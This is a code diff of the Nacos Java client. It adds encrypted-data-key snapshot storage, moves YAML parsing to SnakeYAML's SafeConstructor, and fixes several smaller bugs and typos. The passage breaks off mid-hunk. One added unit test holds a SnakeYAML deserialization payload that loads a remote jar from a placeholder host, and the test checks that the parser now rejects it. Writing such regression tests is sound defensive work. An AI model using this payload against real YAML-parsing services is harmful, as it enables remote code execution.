@ -158,13 +126,6 @@ public class ClientWorker implements Closeable {
|
||||
}
|
||||
}
|
||||
|
||||
private void removeCache(String dataId, String group) {
|
||||
String groupKey = GroupKey.getKey(dataId, group);
|
||||
cacheMap.remove(groupKey);
|
||||
LOGGER.info("[{}] [unsubscribe] {}", this.agent.getName(), groupKey);
|
||||
MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.size());
|
||||
}
|
||||
|
||||
void removeCache(String dataId, String group, String tenant) {
|
||||
String groupKey = GroupKey.getKeyTenant(dataId, group, tenant);
|
||||
cacheMap.remove(groupKey);
|
||||
@ -173,37 +134,6 @@ public class ClientWorker implements Closeable {
|
||||
MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.size());
|
||||
}
|
||||
|
||||
/**
|
||||
* Add cache data if absent.
|
||||
*
|
||||
* @param dataId data id if data
|
||||
* @param group group of data
|
||||
* @return cache data
|
||||
*/
|
||||
public CacheData addCacheDataIfAbsent(String dataId, String group) {
|
||||
String key = GroupKey.getKey(dataId, group);
|
||||
CacheData cacheData = cacheMap.get(key);
|
||||
if (cacheData != null) {
|
||||
return cacheData;
|
||||
}
|
||||
|
||||
cacheData = new CacheData(configFilterChainManager, agent.getName(), dataId, group);
|
||||
// multiple listeners on the same dataid+group and race condition
|
||||
CacheData lastCacheData = cacheMap.putIfAbsent(key, cacheData);
|
||||
if (lastCacheData == null) {
|
||||
int taskId = cacheMap.size() / (int) ParamUtil.getPerTaskConfigSize();
|
||||
lastCacheData = cacheData;
|
||||
lastCacheData.setTaskId(taskId);
|
||||
}
|
||||
// reset so that server not hang this check
|
||||
lastCacheData.setInitializing(true);
|
||||
|
||||
LOGGER.info("[{}] [subscribe] {}", this.agent.getName(), key);
|
||||
|
||||
MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.size());
|
||||
return lastCacheData;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add cache data if absent.
|
||||
*
|
||||
@ -218,15 +148,15 @@ public class ClientWorker implements Closeable {
|
||||
if (cacheData != null) {
|
||||
return cacheData;
|
||||
}
|
||||
|
||||
|
||||
cacheData = new CacheData(configFilterChainManager, agent.getName(), dataId, group, tenant);
|
||||
// multiple listeners on the same dataid+group and race condition
|
||||
CacheData lastCacheData = cacheMap.putIfAbsent(key, cacheData);
|
||||
if (lastCacheData == null) {
|
||||
//fix issue # 1317
|
||||
if (enableRemoteSyncConfig) {
|
||||
String[] ct = getServerConfig(dataId, group, tenant, 3000L);
|
||||
cacheData.setContent(ct[0]);
|
||||
ConfigResponse response = getServerConfig(dataId, group, tenant, 3000L);
|
||||
cacheData.setContent(response.getContent());
|
||||
}
|
||||
int taskId = cacheMap.size() / (int) ParamUtil.getPerTaskConfigSize();
|
||||
cacheData.setTaskId(taskId);
|
||||
@ -242,10 +172,6 @@ public class ClientWorker implements Closeable {
|
||||
return lastCacheData;
|
||||
}
|
||||
|
||||
public CacheData getCache(String dataId, String group) {
|
||||
return getCache(dataId, group, TenantUtil.getUserTenantForAcm());
|
||||
}
|
||||
|
||||
public CacheData getCache(String dataId, String group, String tenant) {
|
||||
if (null == dataId || null == group) {
|
||||
throw new IllegalArgumentException();
|
||||
@ -253,9 +179,9 @@ public class ClientWorker implements Closeable {
|
||||
return cacheMap.get(GroupKey.getKeyTenant(dataId, group, tenant));
|
||||
}
|
||||
|
||||
public String[] getServerConfig(String dataId, String group, String tenant, long readTimeout)
|
||||
public ConfigResponse getServerConfig(String dataId, String group, String tenant, long readTimeout)
|
||||
throws NacosException {
|
||||
String[] ct = new String[2];
|
||||
ConfigResponse configResponse = new ConfigResponse();
|
||||
if (StringUtils.isBlank(group)) {
|
||||
group = Constants.DEFAULT_GROUP;
|
||||
}
|
||||
@ -283,16 +209,23 @@ public class ClientWorker implements Closeable {
|
||||
switch (result.getCode()) {
|
||||
case HttpURLConnection.HTTP_OK:
|
||||
LocalConfigInfoProcessor.saveSnapshot(agent.getName(), dataId, group, tenant, result.getData());
|
||||
ct[0] = result.getData();
|
||||
configResponse.setContent(result.getData());
|
||||
String configType;
|
||||
if (result.getHeader().getValue(CONFIG_TYPE) != null) {
|
||||
ct[1] = result.getHeader().getValue(CONFIG_TYPE);
|
||||
configType = result.getHeader().getValue(CONFIG_TYPE);
|
||||
} else {
|
||||
ct[1] = ConfigType.TEXT.getType();
|
||||
configType = ConfigType.TEXT.getType();
|
||||
}
|
||||
return ct;
|
||||
configResponse.setConfigType(configType);
|
||||
String encryptedDataKey = result.getHeader().getValue(ENCRYPTED_DATA_KEY);
|
||||
LocalEncryptedDataKeyProcessor
|
||||
.saveEncryptDataKeySnapshot(agent.getName(), dataId, group, tenant, encryptedDataKey);
|
||||
configResponse.setEncryptedDataKey(encryptedDataKey);
|
||||
return configResponse;
|
||||
case HttpURLConnection.HTTP_NOT_FOUND:
|
||||
LocalConfigInfoProcessor.saveSnapshot(agent.getName(), dataId, group, tenant, null);
|
||||
return ct;
|
||||
LocalEncryptedDataKeyProcessor.saveEncryptDataKeySnapshot(agent.getName(), dataId, group, tenant, null);
|
||||
return configResponse;
|
||||
case HttpURLConnection.HTTP_CONFLICT: {
|
||||
LOGGER.error(
|
||||
"[{}] [sub-server-error] get server config being modified concurrently, dataId={}, group={}, "
|
||||
@ -327,6 +260,9 @@ public class ClientWorker implements Closeable {
|
||||
cacheData.setUseLocalConfigInfo(true);
|
||||
cacheData.setLocalConfigInfoVersion(path.lastModified());
|
||||
cacheData.setContent(content);
|
||||
String encryptedDataKey = LocalEncryptedDataKeyProcessor
|
||||
.getEncryptDataKeyFailover(agent.getName(), dataId, group, tenant);
|
||||
cacheData.setEncryptedDataKey(encryptedDataKey);
|
||||
|
||||
LOGGER.warn(
|
||||
"[{}] [failover-change] failover file created. dataId={}, group={}, tenant={}, md5={}, content={}",
|
||||
@ -350,21 +286,24 @@ public class ClientWorker implements Closeable {
|
||||
cacheData.setUseLocalConfigInfo(true);
|
||||
cacheData.setLocalConfigInfoVersion(path.lastModified());
|
||||
cacheData.setContent(content);
|
||||
String encryptedDataKey = LocalEncryptedDataKeyProcessor
|
||||
.getEncryptDataKeyFailover(agent.getName(), dataId, group, tenant);
|
||||
cacheData.setEncryptedDataKey(encryptedDataKey);
|
||||
LOGGER.warn(
|
||||
"[{}] [failover-change] failover file changed. dataId={}, group={}, tenant={}, md5={}, content={}",
|
||||
agent.getName(), dataId, group, tenant, md5, ContentUtils.truncateContent(content));
|
||||
}
|
||||
}
|
||||
|
||||
private String null2defaultGroup(String group) {
|
||||
return (null == group) ? Constants.DEFAULT_GROUP : group.trim();
|
||||
private String blank2defaultGroup(String group) {
|
||||
return StringUtils.isBlank(group) ? Constants.DEFAULT_GROUP : group.trim();
|
||||
}
|
||||
|
||||
/**
|
||||
* Check config info.
|
||||
*/
|
||||
public void checkConfigInfo() {
|
||||
// Dispatch taskes.
|
||||
// Dispatch tasks.
|
||||
int listenerSize = cacheMap.size();
|
||||
// Round up the longingTaskCount.
|
||||
int longingTaskCount = (int) Math.ceil(listenerSize / ParamUtil.getPerTaskConfigSize());
|
||||
@ -380,7 +319,7 @@ public class ClientWorker implements Closeable {
|
||||
/**
|
||||
* Fetch the dataId list from server.
|
||||
*
|
||||
* @param cacheDatas CacheDatas for config infomations.
|
||||
* @param cacheDatas CacheDatas for config information.
|
||||
* @param inInitializingCacheList initial cache lists.
|
||||
* @return String include dataId and group (ps: it maybe null).
|
||||
* @throws Exception Exception.
|
||||
@ -398,7 +337,7 @@ public class ClientWorker implements Closeable {
|
||||
sb.append(cacheData.getTenant()).append(LINE_SEPARATOR);
|
||||
}
|
||||
if (cacheData.isInitializing()) {
|
||||
// It updates when cacheData occours in cacheMap by first time.
|
||||
// It updates when cacheData occurs in cacheMap by first time.
|
||||
inInitializingCacheList
|
||||
.add(GroupKey.getKeyTenant(cacheData.dataId, cacheData.group, cacheData.tenant));
|
||||
}
|
||||
@ -607,15 +546,16 @@ public class ClientWorker implements Closeable {
|
||||
tenant = key[2];
|
||||
}
|
||||
try {
|
||||
String[] ct = getServerConfig(dataId, group, tenant, 3000L);
|
||||
ConfigResponse response = getServerConfig(dataId, group, tenant, 3000L);
|
||||
CacheData cache = cacheMap.get(GroupKey.getKeyTenant(dataId, group, tenant));
|
||||
cache.setContent(ct[0]);
|
||||
if (null != ct[1]) {
|
||||
cache.setType(ct[1]);
|
||||
cache.setContent(response.getContent());
|
||||
cache.setEncryptedDataKey(response.getEncryptedDataKey());
|
||||
if (null != response.getConfigType()) {
|
||||
cache.setType(response.getConfigType());
|
||||
}
|
||||
LOGGER.info("[{}] [data-received] dataId={}, group={}, tenant={}, md5={}, content={}, type={}",
|
||||
agent.getName(), dataId, group, tenant, cache.getMd5(),
|
||||
ContentUtils.truncateContent(ct[0]), ct[1]);
|
||||
ContentUtils.truncateContent(response.getContent()), response.getConfigType());
|
||||
} catch (NacosException ioe) {
|
||||
String message = String
|
||||
.format("[%s] [get-update] get changed config exception. dataId=%s, group=%s, tenant=%s",
|
||||
|
@ -73,7 +73,7 @@ public class LocalConfigInfoProcessor {
|
||||
}
|
||||
}
|
||||
|
||||
private static String readFile(File file) throws IOException {
|
||||
protected static String readFile(File file) throws IOException {
|
||||
if (!file.exists() || !file.isFile()) {
|
||||
return null;
|
||||
}
|
||||
|
@ -0,0 +1,140 @@
|
||||
/*
|
||||
* Copyright 1999-2018 Alibaba Group Holding Ltd.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package com.alibaba.nacos.client.config.impl;
|
||||
|
||||
import com.alibaba.nacos.api.common.Constants;
|
||||
import com.alibaba.nacos.api.utils.StringUtils;
|
||||
import com.alibaba.nacos.client.config.utils.ConcurrentDiskUtil;
|
||||
import com.alibaba.nacos.client.config.utils.JvmUtil;
|
||||
import com.alibaba.nacos.client.config.utils.SnapShotSwitch;
|
||||
import com.alibaba.nacos.client.utils.LogUtils;
|
||||
import com.alibaba.nacos.common.utils.IoUtils;
|
||||
import org.slf4j.Logger;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* 密文数据密钥(EncryptedDataKey)的本地快照、容灾目录相关.
|
||||
*
|
||||
* @author luyanbo(RobberPhex)
|
||||
*/
|
||||
public class LocalEncryptedDataKeyProcessor extends LocalConfigInfoProcessor {
|
||||
|
||||
private static final Logger LOGGER = LogUtils.logger(LocalEncryptedDataKeyProcessor.class);
|
||||
|
||||
/**
|
||||
* 获取容灾配置的 EncryptedDataKey。NULL表示没有本地文件或抛出异常.
|
||||
*/
|
||||
public static String getEncryptDataKeyFailover(String envName, String dataId, String group, String tenant) {
|
||||
File file = getEncryptDataKeyFailoverFile(envName, dataId, group, tenant);
|
||||
if (!file.exists() || !file.isFile()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return readFile(file);
|
||||
} catch (IOException ioe) {
|
||||
LOGGER.error("[" + envName + "] get failover error, " + file, ioe);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取本地缓存文件的 EncryptedDataKey。NULL表示没有本地文件或抛出异常.
|
||||
*/
|
||||
public static String getEncryptDataKeySnapshot(String envName, String dataId, String group, String tenant) {
|
||||
if (!SnapShotSwitch.getIsSnapShot()) {
|
||||
return null;
|
||||
}
|
||||
File file = getEncryptDataKeySnapshotFile(envName, dataId, group, tenant);
|
||||
if (!file.exists() || !file.isFile()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return readFile(file);
|
||||
} catch (IOException ioe) {
|
||||
LOGGER.error("[" + envName + "] get snapshot error, " + file, ioe);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 保存 encryptDataKey 的snapshot。如果内容为NULL,则删除snapshot.
|
||||
*/
|
||||
public static void saveEncryptDataKeySnapshot(String envName, String dataId, String group, String tenant,
|
||||
String encryptDataKey) {
|
||||
if (!SnapShotSwitch.getIsSnapShot()) {
|
||||
return;
|
||||
}
|
||||
File file = getEncryptDataKeySnapshotFile(envName, dataId, group, tenant);
|
||||
try {
|
||||
if (null == encryptDataKey) {
|
||||
try {
|
||||
IoUtils.delete(file);
|
||||
} catch (IOException ioe) {
|
||||
LOGGER.error("[" + envName + "] delete snapshot error, " + file, ioe);
|
||||
}
|
||||
} else {
|
||||
File parentFile = file.getParentFile();
|
||||
if (!parentFile.exists()) {
|
||||
boolean isMdOk = parentFile.mkdirs();
|
||||
if (!isMdOk) {
|
||||
LOGGER.error("[{}] save snapshot error", envName);
|
||||
}
|
||||
}
|
||||
if (JvmUtil.isMultiInstance()) {
|
||||
ConcurrentDiskUtil.writeFileContent(file, encryptDataKey, Constants.ENCODE);
|
||||
} else {
|
||||
IoUtils.writeStringToFile(file, encryptDataKey, Constants.ENCODE);
|
||||
}
|
||||
}
|
||||
} catch (IOException ioe) {
|
||||
LOGGER.error("[" + envName + "] save snapshot error, " + file, ioe);
|
||||
}
|
||||
}
|
||||
|
||||
private static File getEncryptDataKeyFailoverFile(String envName, String dataId, String group, String tenant) {
|
||||
File tmp = new File(LOCAL_SNAPSHOT_PATH, envName + "_nacos");
|
||||
tmp = new File(tmp, "encrypted-data-key");
|
||||
|
||||
if (StringUtils.isBlank(tenant)) {
|
||||
tmp = new File(tmp, "failover");
|
||||
} else {
|
||||
tmp = new File(tmp, "failover-tenant");
|
||||
tmp = new File(tmp, tenant);
|
||||
}
|
||||
|
||||
return new File(new File(tmp, group), dataId);
|
||||
}
|
||||
|
||||
private static File getEncryptDataKeySnapshotFile(String envName, String dataId, String group, String tenant) {
|
||||
File tmp = new File(LOCAL_SNAPSHOT_PATH, envName + "_nacos");
|
||||
tmp = new File(tmp, "encrypted-data-key");
|
||||
|
||||
if (StringUtils.isBlank(tenant)) {
|
||||
tmp = new File(tmp, "snapshot");
|
||||
} else {
|
||||
tmp = new File(tmp, "snapshot-tenant");
|
||||
tmp = new File(tmp, tenant);
|
||||
}
|
||||
|
||||
return new File(new File(tmp, group), dataId);
|
||||
}
|
||||
|
||||
}
|
@ -17,8 +17,12 @@
|
||||
package com.alibaba.nacos.client.config.impl;
|
||||
|
||||
import com.alibaba.nacos.api.config.ConfigChangeItem;
|
||||
import com.alibaba.nacos.api.exception.NacosException;
|
||||
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
|
||||
import com.alibaba.nacos.common.utils.StringUtils;
|
||||
import org.yaml.snakeyaml.Yaml;
|
||||
import org.yaml.snakeyaml.constructor.ConstructorException;
|
||||
import org.yaml.snakeyaml.constructor.SafeConstructor;
|
||||
|
||||
import java.util.Collection;
|
||||
import java.util.Collections;
|
||||
@ -33,6 +37,8 @@ import java.util.Map;
|
||||
*/
|
||||
public class YmlChangeParser extends AbstractConfigChangeParser {
|
||||
|
||||
private static final String INVALID_CONSTRUCTOR_ERROR_INFO = "could not determine a constructor for the tag";
|
||||
|
||||
public YmlChangeParser() {
|
||||
super("yaml");
|
||||
}
|
||||
@ -41,20 +47,34 @@ public class YmlChangeParser extends AbstractConfigChangeParser {
|
||||
public Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) {
|
||||
Map<String, Object> oldMap = Collections.emptyMap();
|
||||
Map<String, Object> newMap = Collections.emptyMap();
|
||||
|
||||
if (StringUtils.isNotBlank(oldContent)) {
|
||||
oldMap = (new Yaml()).load(oldContent);
|
||||
oldMap = getFlattenedMap(oldMap);
|
||||
}
|
||||
if (StringUtils.isNotBlank(newContent)) {
|
||||
newMap = (new Yaml()).load(newContent);
|
||||
newMap = getFlattenedMap(newMap);
|
||||
try {
|
||||
Yaml yaml = new Yaml(new SafeConstructor());
|
||||
if (StringUtils.isNotBlank(oldContent)) {
|
||||
oldMap = yaml.load(oldContent);
|
||||
oldMap = getFlattenedMap(oldMap);
|
||||
}
|
||||
if (StringUtils.isNotBlank(newContent)) {
|
||||
newMap = yaml.load(newContent);
|
||||
newMap = getFlattenedMap(newMap);
|
||||
}
|
||||
} catch (ConstructorException e) {
|
||||
handleYamlException(e);
|
||||
}
|
||||
|
||||
return filterChangeData(oldMap, newMap);
|
||||
}
|
||||
|
||||
private final Map<String, Object> getFlattenedMap(Map<String, Object> source) {
|
||||
private void handleYamlException(ConstructorException e) {
|
||||
if (e.getMessage().startsWith(INVALID_CONSTRUCTOR_ERROR_INFO)) {
|
||||
throw new NacosRuntimeException(NacosException.INVALID_PARAM,
|
||||
"AbstractConfigChangeListener only support basic java data type for yaml. If you want to listen "
|
||||
+ "key changes for custom classes, please use `Listener` to listener whole yaml configuration and parse it by yourself.",
|
||||
e);
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
|
||||
private Map<String, Object> getFlattenedMap(Map<String, Object> source) {
|
||||
Map<String, Object> result = new LinkedHashMap<String, Object>(128);
|
||||
buildFlattenedMap(result, source, null);
|
||||
return result;
|
||||
|
@ -18,6 +18,7 @@ package com.alibaba.nacos.client.logging.log4j2;
|
||||
|
||||
import com.alibaba.nacos.client.logging.AbstractNacosLogging;
|
||||
import com.alibaba.nacos.common.utils.ResourceUtils;
|
||||
import com.alibaba.nacos.common.utils.StringUtils;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import org.apache.logging.log4j.core.Appender;
|
||||
import org.apache.logging.log4j.core.LoggerContext;
|
||||
@ -49,6 +50,10 @@ public class Log4J2NacosLogging extends AbstractNacosLogging {
|
||||
|
||||
@Override
|
||||
public void loadConfiguration() {
|
||||
if (StringUtils.isBlank(location)) {
|
||||
return;
|
||||
}
|
||||
|
||||
final LoggerContext loggerContext = (LoggerContext) LogManager.getContext(false);
|
||||
final Configuration contextConfiguration = loggerContext.getConfiguration();
|
||||
|
||||
|
@ -197,9 +197,13 @@ public class BeatReactor implements Closeable {
|
||||
} catch (NacosException ex) {
|
||||
NAMING_LOGGER.error("[CLIENT-BEAT] failed to send beat: {}, code: {}, msg: {}",
|
||||
JacksonUtils.toJson(beatInfo), ex.getErrCode(), ex.getErrMsg());
|
||||
|
||||
|
||||
} catch (Exception unknownEx) {
|
||||
NAMING_LOGGER.error("[CLIENT-BEAT] failed to send beat: {}, unknown exception msg: {}",
|
||||
JacksonUtils.toJson(beatInfo), unknownEx.getMessage(), unknownEx);
|
||||
} finally {
|
||||
executorService.schedule(new BeatTask(beatInfo), nextTime, TimeUnit.MILLISECONDS);
|
||||
}
|
||||
executorService.schedule(new BeatTask(beatInfo), nextTime, TimeUnit.MILLISECONDS);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -162,7 +162,11 @@ public class HostReactor implements Closeable {
|
||||
*/
|
||||
public ServiceInfo processServiceJson(String json) {
|
||||
ServiceInfo serviceInfo = JacksonUtils.toObj(json, ServiceInfo.class);
|
||||
ServiceInfo oldService = serviceInfoMap.get(serviceInfo.getKey());
|
||||
String serviceKey = serviceInfo.getKey();
|
||||
if (serviceKey == null) {
|
||||
return null;
|
||||
}
|
||||
ServiceInfo oldService = serviceInfoMap.get(serviceKey);
|
||||
|
||||
if (pushEmptyProtection && !serviceInfo.validate()) {
|
||||
//empty or error push, just ignore
|
||||
|
@ -16,6 +16,7 @@
|
||||
|
||||
package com.alibaba.nacos.client.naming.core;
|
||||
|
||||
import com.alibaba.nacos.api.PropertyKeyConst;
|
||||
import com.alibaba.nacos.api.exception.NacosException;
|
||||
import com.alibaba.nacos.common.lifecycle.Closeable;
|
||||
import com.alibaba.nacos.common.utils.IoUtils;
|
||||
@ -25,6 +26,7 @@ import com.alibaba.nacos.common.utils.ThreadUtils;
|
||||
|
||||
import java.net.DatagramPacket;
|
||||
import java.net.DatagramSocket;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.concurrent.ScheduledExecutorService;
|
||||
import java.util.concurrent.ScheduledThreadPoolExecutor;
|
||||
@ -51,10 +53,19 @@ public class PushReceiver implements Runnable, Closeable {
|
||||
|
||||
private volatile boolean closed = false;
|
||||
|
||||
public static String getPushReceiverUdpPort() {
|
||||
return System.getenv(PropertyKeyConst.PUSH_RECEIVER_UDP_PORT);
|
||||
}
|
||||
|
||||
public PushReceiver(HostReactor hostReactor) {
|
||||
try {
|
||||
this.hostReactor = hostReactor;
|
||||
this.udpSocket = new DatagramSocket();
|
||||
String udpPort = getPushReceiverUdpPort();
|
||||
if (StringUtils.isEmpty(udpPort)) {
|
||||
this.udpSocket = new DatagramSocket();
|
||||
} else {
|
||||
this.udpSocket = new DatagramSocket(new InetSocketAddress(Integer.parseInt(udpPort)));
|
||||
}
|
||||
this.executorService = new ScheduledThreadPoolExecutor(1, new ThreadFactory() {
|
||||
@Override
|
||||
public Thread newThread(Runnable r) {
|
||||
|
@ -142,6 +142,9 @@ public class NamingProxy implements Closeable {
|
||||
}
|
||||
});
|
||||
|
||||
refreshSrvIfNeed();
|
||||
this.securityProxy.login(getServerList());
|
||||
|
||||
this.executorService.scheduleWithFixedDelay(new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
@ -155,9 +158,6 @@ public class NamingProxy implements Closeable {
|
||||
securityProxy.login(getServerList());
|
||||
}
|
||||
}, 0, securityInfoRefreshIntervalMills, TimeUnit.MILLISECONDS);
|
||||
|
||||
refreshSrvIfNeed();
|
||||
this.securityProxy.login(getServerList());
|
||||
}
|
||||
|
||||
public List<String> getServerListFromEndpoint() {
|
||||
|
@ -118,7 +118,7 @@ public class Chooser<K, T> {
|
||||
public Ref(List<Pair<T>> itemsWithWeight) {
|
||||
this.itemsWithWeight = itemsWithWeight;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Refresh.
|
||||
*/
|
||||
@ -167,7 +167,7 @@ public class Chooser<K, T> {
|
||||
return;
|
||||
}
|
||||
throw new IllegalStateException(
|
||||
"Cumulative Weight caculate wrong , the sum of probabilities does not equals 1.");
|
||||
"Cumulative Weight calculate wrong , the sum of probabilities does not equals 1.");
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -49,7 +49,7 @@ public class SecurityProxy {
|
||||
|
||||
private final NacosRestTemplate nacosRestTemplate;
|
||||
|
||||
private String contextPath;
|
||||
private final String contextPath;
|
||||
|
||||
/**
|
||||
* User's name.
|
||||
@ -64,7 +64,7 @@ public class SecurityProxy {
|
||||
/**
|
||||
* A token to take with when sending request to Nacos server.
|
||||
*/
|
||||
private String accessToken;
|
||||
private volatile String accessToken;
|
||||
|
||||
/**
|
||||
* TTL of token in seconds.
|
||||
@ -89,7 +89,8 @@ public class SecurityProxy {
|
||||
public SecurityProxy(Properties properties, NacosRestTemplate nacosRestTemplate) {
|
||||
username = properties.getProperty(PropertyKeyConst.USERNAME, StringUtils.EMPTY);
|
||||
password = properties.getProperty(PropertyKeyConst.PASSWORD, StringUtils.EMPTY);
|
||||
contextPath = ContextPathUtil.normalizeContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH, "/nacos"));
|
||||
contextPath = ContextPathUtil
|
||||
.normalizeContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH, "/nacos"));
|
||||
this.nacosRestTemplate = nacosRestTemplate;
|
||||
}
|
||||
|
||||
@ -113,7 +114,8 @@ public class SecurityProxy {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignore) {
|
||||
} catch (Throwable throwable) {
|
||||
SECURITY_LOGGER.warn("[SecurityProxy] login failed, error: ", throwable);
|
||||
}
|
||||
|
||||
return false;
|
||||
|
@ -164,12 +164,7 @@ public class ParamUtil {
|
||||
String.valueOf(Constants.DEFAULT_USE_CLOUD_NAMESPACE_PARSING)));
|
||||
|
||||
if (Boolean.parseBoolean(isUseCloudNamespaceParsing)) {
|
||||
namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
|
||||
@Override
|
||||
public String call() {
|
||||
return TenantUtil.getUserTenantForAcm();
|
||||
}
|
||||
});
|
||||
namespaceTmp = TenantUtil.getUserTenantForAcm();
|
||||
|
||||
namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
|
||||
@Override
|
||||
|
@ -64,7 +64,7 @@ public class TemplateUtils {
|
||||
}
|
||||
}
|
||||
|
||||
return source.trim();
|
||||
return source == null ? null : source.trim();
|
||||
}
|
||||
|
||||
/**
|
||||
@ -85,6 +85,6 @@ public class TemplateUtils {
|
||||
}
|
||||
}
|
||||
|
||||
return source.trim();
|
||||
return source == null ? null : source.trim();
|
||||
}
|
||||
}
|
||||
|
@ -40,8 +40,8 @@ public class GroupKeyTest {
|
||||
|
||||
@Test
|
||||
public void testParseKey() {
|
||||
Assert.assertArrayEquals(new String[] {null, "f+oo", null}, GroupKey.parseKey("f%2Boo"));
|
||||
Assert.assertArrayEquals(new String[] {null, "f%oo", null}, GroupKey.parseKey("f%25oo"));
|
||||
Assert.assertArrayEquals(new String[] {"a", "f+oo", null}, GroupKey.parseKey("a+f%2Boo"));
|
||||
Assert.assertArrayEquals(new String[] {"b", "f%oo", null}, GroupKey.parseKey("b+f%25oo"));
|
||||
}
|
||||
|
||||
@Test
|
||||
@ -61,4 +61,22 @@ public class GroupKeyTest {
|
||||
thrown.expect(IllegalArgumentException.class);
|
||||
GroupKey.parseKey("f+o+o+bar");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testParseKeyIllegalArgumentException4() {
|
||||
thrown.expect(IllegalArgumentException.class);
|
||||
GroupKey.parseKey("f++bar");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testGetKeyDatIdParam() {
|
||||
thrown.expect(IllegalArgumentException.class);
|
||||
GroupKey.getKey("", "a");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testGetKeyGroupParam() {
|
||||
thrown.expect(IllegalArgumentException.class);
|
||||
GroupKey.getKey("a", "");
|
||||
}
|
||||
}
|
||||
|
@ -17,6 +17,7 @@
|
||||
package com.alibaba.nacos.client.config.listener.impl;
|
||||
|
||||
import com.alibaba.nacos.api.config.ConfigChangeItem;
|
||||
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
|
||||
import com.alibaba.nacos.client.config.impl.YmlChangeParser;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Test;
|
||||
@ -55,5 +56,12 @@ public class YmlChangeParserTest {
|
||||
Assert.assertEquals("rocketMQ", map.get("app.name").getOldValue());
|
||||
Assert.assertEquals("nacos", map.get("app.name").getNewValue());
|
||||
}
|
||||
|
||||
@Test(expected = NacosRuntimeException.class)
|
||||
public void testChangeInvalidKey() {
|
||||
parser.doParse("anykey:\n a", "anykey: !!javax.script.ScriptEngineManager [\n"
|
||||
+ " !!java.net.URLClassLoader [[\n"
|
||||
+ " !!java.net.URL [\"http://[yourhost]:[port]/yaml-payload.jar\"]\n" + " ]]\n" + "]", type);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -21,7 +21,7 @@
|
||||
<parent>
|
||||
<artifactId>nacos-all</artifactId>
|
||||
<groupId>com.alibaba.nacos</groupId>
|
||||
<version>1.4.1</version>
|
||||
<version>${revision}</version>
|
||||
<relativePath>../pom.xml</relativePath>
|
||||
</parent>
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
@ -52,7 +52,7 @@ public interface CmdbReader {
|
||||
*
|
||||
* @param labelName name of label
|
||||
* @param labelValue value of label
|
||||
* @return list of entiy
|
||||
* @return list of entity
|
||||
*/
|
||||
List<Entity> queryEntitiesByLabel(String labelName, String labelValue);
|
||||
}
|
||||
|
@ -21,7 +21,7 @@
|
||||
<parent>
|
||||
<groupId>com.alibaba.nacos</groupId>
|
||||
<artifactId>nacos-all</artifactId>
|
||||
<version>1.4.1</version>
|
||||
<version>${revision}</version>
|
||||
<relativePath>../pom.xml</relativePath>
|
||||
</parent>
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
@ -41,7 +41,7 @@ public class NameThreadFactory implements ThreadFactory {
|
||||
|
||||
@Override
|
||||
public Thread newThread(Runnable r) {
|
||||
String threadName = name + id.getAndDecrement();
|
||||
String threadName = name + id.getAndIncrement();
|
||||
Thread thread = new Thread(r, threadName);
|
||||
thread.setDaemon(true);
|
||||
return thread;
|
||||
|
@ -24,6 +24,8 @@ import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* JDk http client response implement.
|
||||
@ -49,7 +51,9 @@ public class JdkHttpClientResponse implements HttpClientResponse {
|
||||
if (this.responseHeader == null) {
|
||||
this.responseHeader = Header.newInstance();
|
||||
}
|
||||
this.responseHeader.setOriginalResponseHeader(conn.getHeaderFields());
|
||||
for (Map.Entry<String, List<String>> entry : conn.getHeaderFields().entrySet()) {
|
||||
this.responseHeader.addOriginalResponseHeader(entry.getKey(), entry.getValue());
|
||||
}
|
||||
return this.responseHeader;
|
||||
}
|
||||
|
||||
|
@ -23,9 +23,9 @@ import com.alibaba.nacos.common.utils.StringUtils;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.TreeMap;
|
||||
|
||||
/**
|
||||
* Http header.
|
||||
@ -41,8 +41,8 @@ public class Header {
|
||||
